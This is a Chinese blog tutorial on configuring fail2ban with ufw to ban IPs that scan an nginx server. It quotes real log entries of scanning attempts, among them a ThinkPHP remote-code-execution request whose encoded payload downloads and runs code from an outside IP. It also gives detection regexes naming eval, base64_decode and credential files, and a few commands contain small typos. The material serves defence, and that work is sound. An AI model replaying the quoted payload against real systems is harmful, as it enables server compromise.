利用 fail2ban 自动封禁乱扫的 IP
起因
今日尝试升级系统的包,顺便瞄了眼 nginx 日志,发现很多奇怪的请求,例如:
185.198.69.4 - - [25/Jan/2024:16:53:57 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-"
35.203.211.148 - - [26/Jan/2024:21:10:00 +0000] "\x00\x00\x00\xAC\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456h\x00\x00\x00\x02\x00\x00\x00\x11\x03\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x01\x00,\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-"
45.95.147.236 - - [03/Feb/2024:21:16:32 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=eval&vars[1][]='eval(base64_decode(\x22aWYoZmlsdGVyX3ZhcihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxGSUxURVJfVkFMSURBVEVfQk9PTEVBTikpe2V2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpKTt9ZWxzZXskaD1jdXJsX2luaXQoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpO2N1cmxfc2V0b3B0KCRoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGgsQ1VSTE9QVF9IRUFERVIsMCk7ZXZhbChjdXJsX2V4ZWMoJGgpKTtjdXJsX2Nsb3NlKCRoKTt9\x22));' HTTP/1.1" 400 150 "-" "-"
45.156.128.7 - - [03/Feb/2024:21:14:32 +0000] "GET /sugar_version.json HTTP/1.1" 403 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
78.153.140.177 - - [03/Feb/2024:18:27:51 +0000] "GET /.env HTTP/1.1" 403 13 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
同一个 IP 基本上扫了好几页,日志里大部分都是这类请求…。
话说在前…
fail2ban
更像一个「马后炮」来根据日志的错误来对来源请求进行拦截。
如果你部署的应用本身就不安全或配置上有安全隐患,fail2ban
并不是对应这类问题的终极答案。
如果你需要「预防」此类攻击,你或许更应该考虑 Web 应用防火墙1。
系统环境
都是 Debian,并使用 ufw 作为防火墙配置工具。
因此配置时也是直接让其使用 ufw
而非 fail2ban
默认使用的 iptables
。
安装
安装 fail2ban
本体以及确保防火墙 ufw
也安装好了:
sudo apt install fail2ban ufw
配置
因为对自带的规则有点不满意,因此基于 nginx-botsearch
规则扩展了一下。
放入下述配置文件内容至 /etc/fail2ban/filter.d/jixun-nginx-logs.conf
即可:
# Fail2Ban filter to match web requests for selected URLs that don't exist
# Adapted from:
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/botsearch-common.conf
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/nginx-botsearch.conf
[Definition]
bad_prefix = \.
private_file = backup|password|database|config|bak|~|\.yaml|\.toml
admin_rules = [Mm]anager|[Aa]dmin|[lL]og[iI]n|[^/]\.git
php = .\.php|base64_decode|eval|call_user_func|\.\.\/\.\.\/
block_extra = <private_file>|<bad_prefix>|<admin_rules>|<php>
block = .*?\/?(<webmail>|<pwa>|<wordpress>|<block_extra>|cgi-bin)[\S]*?
# These are just convenient definitions that assist the blocking of stuff that
# isn't installed
webmail = roundcube|(ext)?mail|horde|(v-?)?webmail
pwa = (typo3/|xampp/|admin/)?(pma|(php)?[Mm]y[Aa]dmin|mysqladmin)
wordpress = wp-(login|signup|admin)\.php
failregex = ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) \/<block> \S+\" [^23]\d\d\s
^<HOST> \- \S+ \[\] \"\\x
^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\,\s
ignoreregex =
datepattern = {^LN-BEG}%%ExY(?P<_sep>[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
^[^\[]*\[({DATE})
{^LN-BEG}
journalmatch = _SYSTEMD_UNIT=nginx.service + _COMM=nginx
其中 Definition
节下的正则表达式可以自行改写来根据需要补充规则。注意规则不要太“贪”2。
定义好规则后可以对现有的日志文件测试效果:
# 查看所有匹配规则的日志行
fail2ban-regex --print-all-matched /var/log/nginx/access.log \
/etc/fail2ban/filter.d/jixun-nginx-logs.conf
# 查看没有匹配上规则的日志行
fail2ban-regex --print-all-missed /var/log/nginx/access.log \
/etc/fail2ban/filter.d/jixun-nginx-logs.conf
然后可以继续配置 fail2ban 的「监狱」了。
将下述内容写出到 /etc/fail2ban/jail.d/jixun.conf
:
[DEFAULT]
# 不尝试反向解析域名
usedns = no
# 封禁时间,默认 10 分钟
bantime = 10m
# 10 分钟内触发 5 次规则才会进行封禁
findtime = 10m
maxretry = 5
# 使用 UFW 作为防火墙来管理
banaction = ufw
banaction_allports = ufw
# 我们新加的日志过滤器
[nginx-logs]
enabled = true
filter = jixun-nginx-logs
port = http,https
logpath = /var/log/nginx/access.log
/var/log/nginx/error.log
※ 时间单位支持 d
天、h
小时、m
分钟、s
秒。例如 1d
表示 1 日。
完成后就可以重启服务来应用了:
sudo systemctl enable fail2ban # 确保服务启用
sudo systemctl restart fail2ban
sudo systemctl status fail2ban # 检查是否正常启动
正常启动时,上述指令的最后一行将输出绿色的 active (running)
字样。
测试
找一台机器,执行下述指令进行测试:
for i in `seq 1 20`; do
curl curl -kL 'https://192.168.1.2/.git'
sleep 0.2
done
其中 192.168.1.2
是我的机器 IP 地址(内网靶机嘛),而 .git
则是在规则中配置会触发封禁的路径。
跑了几秒后,可以发现 curl 开始报错无法连接了:
curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server
curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server
在服务器也可以看到当前封禁记录了:
# fail2ban-client status nginx-logs
Status for the jail: nginx-logs
|- Filter
| |- Currently failed: 1
| |- Total failed: 3
| `- File list: /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 2
`- Banned IP list: 192.168.1.3
常见问题
fail2ban 提示找不到 sshd 的日志文件
错误信息如下:
Feb 02 15:00:53 lab-f2b systemd[1]: Started fail2ban.service - Fail2Ban Service.
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,441 fail2ban.configreader [833]: WARNING 'allowipv6' not defined in 'Definition'. Using default one: 'auto'
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,447 fail2ban [833]: ERROR Failed during configuration: Have not found any log file for sshd jail
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,451 fail2ban [833]: ERROR Async configuration of server failed
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/EXCEPTION
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Failed with result 'exit-code'.
如果没有开启 SSH 服务(例如测试环境)则可能会遇到这个问题,可以在配置文件中禁用。
将下述内容加入到 /etc/fail2ban/filter.d/sshd-disable.conf
即可:
[sshd]
enabled = false
封锁整个 IP 而非单个端口
将监狱配置文件的 port
字段改为 all
即可。
例如在 /etc/fail2ban/jail.d/jixun.conf
中作出如下更改:
[nginx-logs]
enabled = true
filter = jixun-nginx-logs
-port = http,https
+port = all
logpath = /var/log/nginx/access.log
/var/log/nginx/error.log
查询封禁记录
查询启用的监狱,fail2ban-client status
:
Status
|- Number of jail: 2
`- Jail list: nginx-logs, sshd
查看 nginx-logs
监狱的封禁记录,fail2ban-client status nginx-logs
:
Status for the jail: nginx-logs
|- Filter
| |- Currently failed: 1
| |- Total failed: 3
| `- File list: /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 2
`- Banned IP list: 192.168.1.3
这些指令可能需要 root
权限。
手动封禁指定 IP
临时封禁(监狱时间到后自动放行):
fail2ban-client set "nginx-logs" banip "1.2.3.4"
永久封禁(直接从 ufw 进行封禁):
do ufw deny from "1.2.3.4" to any
结语
如果只是自己用的服务,不如部署到内网(树莓派或 SFF 主机),直接避免外部访问;需要从外部访问则可以配置隧道来访问。
我自己的话也迁移了很多应用到家里的小主机来自托管,并使用 WireGuard 来建立一个安全的隧道来允许我偶尔在外面时访问。
另外… 尽量保持系统和软件更新!
后记
发现规则配置了也没啥用,唯一的帮助是日志更方便看了…
- 有些请求就是固定扫某一个路径,大概一天扫一次的低频行为 => 手动拉黑眼不见心不烦。
- 有些可能是轮换 IP;有看到一部分请求是连续错误三次,然后换了个 IP…